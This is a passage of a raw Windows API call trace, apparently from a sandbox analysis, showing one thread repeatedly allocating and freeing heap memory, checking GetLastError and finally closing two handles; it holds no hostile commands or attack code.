0x37bf790 [0132.019] GetLastError () returned 0x0 [0132.019] GetLastError () returned 0x0 [0132.019] GetLastError () returned 0x0 [0132.019] GetLastError () returned 0x0 [0132.020] GetCurrentThreadId () returned 0x9b0 [0132.020] GetLastError () returned 0x0 [0132.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.020] GetLastError () returned 0x0 [0132.022] GetLastError () returned 0x0 [0132.022] GetCurrentThreadId () returned 0x9b0 [0132.022] GetLastError () returned 0x0 [0132.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.022] GetLastError () returned 0x0 [0132.023] GetLastError () returned 0x0 [0132.023] GetCurrentThreadId () returned 0x9b0 [0132.024] GetLastError () returned 0x0 [0132.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.024] GetCurrentThreadId () returned 0x9b0 [0132.024] GetLastError () returned 0x0 [0132.024] GetLastError () returned 0x0 [0132.025] GetLastError () returned 0x0 [0132.025] GetLastError () returned 0x0 [0132.025] GetCurrentThreadId () returned 0x9b0 [0132.025] GetLastError () returned 0x0 [0132.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.025] GetLastError () returned 0x0 [0132.026] GetLastError () returned 0x0 [0132.026] GetCurrentThreadId () returned 0x9b0 [0132.026] GetLastError () returned 0x0 [0132.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.027] GetLastError () returned 0x0 [0132.027] GetLastError () returned 0x0 [0132.027] GetCurrentThreadId () returned 0x9b0 [0132.027] GetLastError () returned 0x0 [0132.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6428 [0132.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.027] GetCurrentThreadId () returned 0x9b0 [0132.027] GetLastError () returned 0x0 [0132.028] GetLastError () returned 0x0 [0132.028] GetLastError () returned 0x0 [0132.028] GetLastError () returned 0x0 [0132.028] GetCurrentThreadId () returned 0x9b0 [0132.028] GetLastError () returned 0x0 [0132.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0132.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.029] GetLastError () returned 0x0 [0132.029] GetLastError () returned 0x0 [0132.030] GetCurrentThreadId () returned 0x9b0 [0132.030] GetLastError () returned 0x0 [0132.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.030] GetLastError () returned 0x0 [0132.030] GetLastError () returned 0x0 [0132.031] GetCurrentThreadId () returned 0x9b0 [0132.032] GetLastError () returned 0x0 [0132.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63d8 [0132.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6428 | out: hHeap=0x2ad0000) returned 1 [0132.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.032] GetCurrentThreadId () returned 0x9b0 [0132.032] GetLastError () returned 0x0 [0132.032] GetLastError () returned 0x0 [0132.033] GetLastError () returned 0x0 [0132.033] GetLastError () returned 0x0 [0132.033] GetCurrentThreadId () returned 0x9b0 [0132.033] GetLastError () returned 0x0 [0132.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.033] GetLastError () returned 0x0 [0132.034] GetLastError () returned 0x0 [0132.034] GetCurrentThreadId () returned 0x9b0 [0132.034] GetLastError () returned 0x0 [0132.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.035] GetLastError () returned 0x0 [0132.035] GetLastError () returned 0x0 [0132.035] GetCurrentThreadId () returned 0x9b0 [0132.035] GetLastError () returned 0x0 [0132.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63f8 [0132.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0132.035] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.035] GetCurrentThreadId () returned 0x9b0 [0132.035] GetLastError () returned 0x0 [0132.036] GetLastError () returned 0x0 [0132.036] GetLastError () returned 0x0 [0132.036] GetLastError () returned 0x0 [0132.036] GetCurrentThreadId () returned 0x9b0 [0132.036] GetLastError () returned 0x0 [0132.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.037] GetLastError () returned 0x0 [0132.038] GetLastError () returned 0x0 [0132.038] GetCurrentThreadId () returned 0x9b0 [0132.038] GetLastError () returned 0x0 [0132.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.039] GetLastError () returned 0x0 [0132.039] GetLastError () returned 0x0 [0132.040] GetCurrentThreadId () returned 0x9b0 [0132.040] GetLastError () returned 0x0 [0132.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0132.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.040] GetCurrentThreadId () returned 0x9b0 [0132.040] GetLastError () returned 0x0 [0132.041] GetLastError () returned 0x0 [0132.041] GetLastError () returned 0x0 [0132.041] GetLastError () returned 0x0 [0132.041] GetCurrentThreadId () returned 0x9b0 [0132.041] GetLastError () returned 0x0 [0132.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.041] GetLastError () returned 0x0 [0132.042] GetLastError () returned 0x0 [0132.042] GetCurrentThreadId () returned 0x9b0 [0132.042] GetLastError () returned 0x0 [0132.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.043] GetLastError () returned 0x0 [0132.043] GetLastError () returned 0x0 [0132.043] GetCurrentThreadId () returned 0x9b0 [0132.043] GetLastError () returned 0x0 [0132.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63a8 [0132.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.043] GetCurrentThreadId () returned 0x9b0 [0132.044] GetLastError () returned 0x0 [0132.044] GetLastError () returned 0x0 [0132.044] GetLastError () returned 0x0 [0132.044] GetLastError () returned 0x0 [0132.044] GetCurrentThreadId () returned 0x9b0 [0132.044] GetLastError () returned 0x0 [0132.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.045] GetLastError () returned 0x0 [0132.046] GetLastError () returned 0x0 [0132.046] GetCurrentThreadId () returned 0x9b0 [0132.046] GetLastError () returned 0x0 [0132.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.046] GetLastError () returned 0x0 [0132.046] GetLastError () returned 0x0 [0132.048] GetCurrentThreadId () returned 0x9b0 [0132.048] GetLastError () returned 0x0 [0132.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6398 [0132.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63a8 | out: hHeap=0x2ad0000) returned 1 [0132.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.048] GetLastError () returned 0x0 [0132.049] GetLastError () returned 0x0 [0132.049] GetLastError () returned 0x0 [0132.049] GetLastError () returned 0x0 [0132.049] GetCurrentThreadId () returned 0x9b0 [0132.049] GetLastError () returned 0x0 [0132.049] GetCurrentThreadId () returned 0x9b0 [0132.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.049] GetLastError () returned 0x0 [0132.050] GetLastError () returned 0x0 [0132.050] GetCurrentThreadId () returned 0x9b0 [0132.051] GetLastError () returned 0x0 [0132.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.051] GetLastError () returned 0x0 [0132.059] GetLastError () returned 0x0 [0132.059] GetCurrentThreadId () returned 0x9b0 [0132.059] GetLastError () returned 0x0 [0132.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6468 [0132.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.060] GetLastError () returned 0x0 [0132.060] GetLastError () returned 0x0 [0132.060] GetLastError () returned 0x0 [0132.060] GetLastError () returned 0x0 [0132.060] GetCurrentThreadId () returned 0x9b0 [0132.060] GetLastError () returned 0x0 [0132.061] GetCurrentThreadId () returned 0x9b0 [0132.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.061] GetLastError () returned 0x0 [0132.065] GetLastError () returned 0x0 [0132.065] GetCurrentThreadId () returned 0x9b0 [0132.065] GetLastError () returned 0x0 [0132.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.065] GetLastError () returned 0x0 [0132.066] GetLastError () returned 0x0 [0132.066] GetCurrentThreadId () returned 0x9b0 [0132.066] GetLastError () returned 0x0 [0132.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6418 [0132.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6468 | out: hHeap=0x2ad0000) returned 1 [0132.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.067] GetLastError () returned 0x0 [0132.067] GetLastError () returned 0x0 [0132.067] GetLastError () returned 0x0 [0132.068] GetLastError () returned 0x0 [0132.068] GetCurrentThreadId () returned 0x9b0 [0132.068] GetLastError () returned 0x0 [0132.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.068] GetLastError () returned 0x0 [0132.069] GetLastError () returned 0x0 [0132.069] GetCurrentThreadId () returned 0x9b0 [0132.069] GetLastError () returned 0x0 [0132.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.070] GetLastError () returned 0x0 [0132.070] GetLastError () returned 0x0 [0132.070] GetCurrentThreadId () returned 0x9b0 [0132.070] GetLastError () returned 0x0 [0132.070] GetCurrentThreadId () returned 0x9b0 [0132.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6478 [0132.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0132.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.070] GetLastError () returned 0x0 [0132.071] GetLastError () returned 0x0 [0132.071] GetLastError () returned 0x0 [0132.071] GetLastError () returned 0x0 [0132.071] GetCurrentThreadId () returned 0x9b0 [0132.071] GetLastError () returned 0x0 [0132.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.071] GetLastError () returned 0x0 [0132.072] GetLastError () returned 0x0 [0132.072] GetCurrentThreadId () returned 0x9b0 [0132.073] GetLastError () returned 0x0 [0132.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.073] GetLastError () returned 0x0 [0132.075] GetLastError () returned 0x0 [0132.076] GetCurrentThreadId () returned 0x9b0 [0132.076] GetLastError () returned 0x0 [0132.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.077] GetCurrentThreadId () returned 0x9b0 [0132.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64d8 [0132.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6478 | out: hHeap=0x2ad0000) returned 1 [0132.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.077] GetLastError () returned 0x0 [0132.077] GetLastError () returned 0x0 [0132.077] GetLastError () returned 0x0 [0132.078] GetLastError () returned 0x0 [0132.078] GetCurrentThreadId () returned 0x9b0 [0132.078] GetLastError () returned 0x0 [0132.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.078] GetLastError () returned 0x0 [0132.079] GetLastError () returned 0x0 [0132.079] GetCurrentThreadId () returned 0x9b0 [0132.079] GetLastError () returned 0x0 [0132.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.080] GetLastError () returned 0x0 [0132.080] GetLastError () returned 0x0 [0132.080] GetCurrentThreadId () returned 0x9b0 [0132.080] GetLastError () returned 0x0 [0132.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6548 [0132.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64d8 | out: hHeap=0x2ad0000) returned 1 [0132.080] GetCurrentThreadId () returned 0x9b0 [0132.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.080] GetLastError () returned 0x0 [0132.081] GetLastError () returned 0x0 [0132.081] GetLastError () returned 0x0 [0132.081] GetLastError () returned 0x0 [0132.081] GetCurrentThreadId () returned 0x9b0 [0132.081] GetLastError () returned 0x0 [0132.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.081] GetLastError () returned 0x0 [0132.083] GetLastError () returned 0x0 [0132.083] GetCurrentThreadId () returned 0x9b0 [0132.084] GetLastError () returned 0x0 [0132.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.084] GetLastError () returned 0x0 [0132.084] GetLastError () returned 0x0 [0132.085] GetCurrentThreadId () returned 0x9b0 [0132.085] GetLastError () returned 0x0 [0132.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0132.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6548 | out: hHeap=0x2ad0000) returned 1 [0132.085] GetCurrentThreadId () returned 0x9b0 [0132.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.086] GetLastError () returned 0x0 [0132.086] GetLastError () returned 0x0 [0132.086] GetLastError () returned 0x0 [0132.086] GetLastError () returned 0x0 [0132.086] GetCurrentThreadId () returned 0x9b0 [0132.086] GetLastError () returned 0x0 [0132.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.087] GetLastError () returned 0x0 [0132.088] GetLastError () returned 0x0 [0132.088] GetCurrentThreadId () returned 0x9b0 [0132.088] GetLastError () returned 0x0 [0132.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.088] GetLastError () returned 0x0 [0132.088] GetLastError () returned 0x0 [0132.088] GetCurrentThreadId () returned 0x9b0 [0132.088] GetLastError () returned 0x0 [0132.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6548 [0132.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.089] GetCurrentThreadId () returned 0x9b0 [0132.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.089] GetLastError () returned 0x0 [0132.089] GetLastError () returned 0x0 [0132.089] GetLastError () returned 0x0 [0132.089] GetLastError () returned 0x0 [0132.090] GetCurrentThreadId () returned 0x9b0 [0132.090] GetLastError () returned 0x0 [0132.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.090] GetLastError () returned 0x0 [0132.091] GetLastError () returned 0x0 [0132.091] GetCurrentThreadId () returned 0x9b0 [0132.091] GetLastError () returned 0x0 [0132.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.091] GetLastError () returned 0x0 [0132.092] GetLastError () returned 0x0 [0132.093] GetCurrentThreadId () returned 0x9b0 [0132.093] GetCurrentThreadId () returned 0x9b0 [0132.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.094] GetCurrentThreadId () returned 0x9b0 [0132.094] GetCurrentThreadId () returned 0x9b0 [0132.095] GetCurrentThreadId () returned 0x9b0 [0132.095] GetCurrentThreadId () returned 0x9b0 [0132.095] GetCurrentThreadId () returned 0x9b0 [0132.097] GetCurrentThreadId () returned 0x9b0 [0132.097] GetCurrentThreadId () returned 0x9b0 [0132.098] GetCurrentThreadId () returned 0x9b0 [0132.098] GetCurrentThreadId () returned 0x9b0 [0132.099] GetCurrentThreadId () returned 0x9b0 [0132.099] GetCurrentThreadId () returned 0x9b0 [0132.099] GetCurrentThreadId () returned 0x9b0 [0132.100] GetCurrentThreadId () returned 0x9b0 [0132.101] GetCurrentThreadId () returned 0x9b0 [0132.102] GetCurrentThreadId () returned 0x9b0 [0132.102] GetCurrentThreadId () returned 0x9b0 [0132.103] GetCurrentThreadId () returned 0x9b0 [0132.104] GetCurrentThreadId () returned 0x9b0 [0132.104] GetCurrentThreadId () returned 0x9b0 [0132.104] GetCurrentThreadId () returned 0x9b0 [0132.104] GetCurrentThreadId () returned 0x9b0 [0132.106] GetCurrentThreadId () returned 0x9b0 [0132.106] GetCurrentThreadId () returned 0x9b0 [0132.107] GetCurrentThreadId () returned 0x9b0 [0132.107] GetCurrentThreadId () returned 0x9b0 [0132.108] GetCurrentThreadId () returned 0x9b0 [0132.108] GetCurrentThreadId () returned 0x9b0 [0132.108] GetCurrentThreadId () returned 0x9b0 [0132.108] GetCurrentThreadId () returned 0x9b0 [0132.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.110] GetCurrentThreadId () returned 0x9b0 [0132.110] GetCurrentThreadId () returned 0x9b0 [0132.110] GetCurrentThreadId () returned 0x9b0 [0132.111] GetCurrentThreadId () returned 0x9b0 [0132.111] GetCurrentThreadId () returned 0x9b0 [0132.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.125] GetCurrentThreadId () returned 0x9b0 [0132.125] GetCurrentThreadId () returned 0x9b0 [0132.129] GetCurrentThreadId () returned 0x9b0 [0132.129] GetCurrentThreadId () returned 0x9b0 [0132.129] GetCurrentThreadId () returned 0x9b0 [0132.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0xa485) returned 0x37bf790 [0132.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6388 [0132.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64d8 | out: hHeap=0x2ad0000) returned 1 [0132.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa488) returned 0x37c9c20 [0132.130] GetCurrentThreadId () returned 0x9b0 [0132.131] GetCurrentThreadId () returned 0x9b0 [0132.131] GetCurrentThreadId () returned 0x9b0 [0132.131] CloseHandle (hObject=0x3ac) returned 1 [0132.131] GetCurrentThreadId () returned 0x9b0 [0132.131] GetCurrentThreadId () returned 0x9b0 [0132.131] CloseHandle (hObject=0x39c) returned 1 [0132.132] GetCurrentThreadId () returned 0x9b0 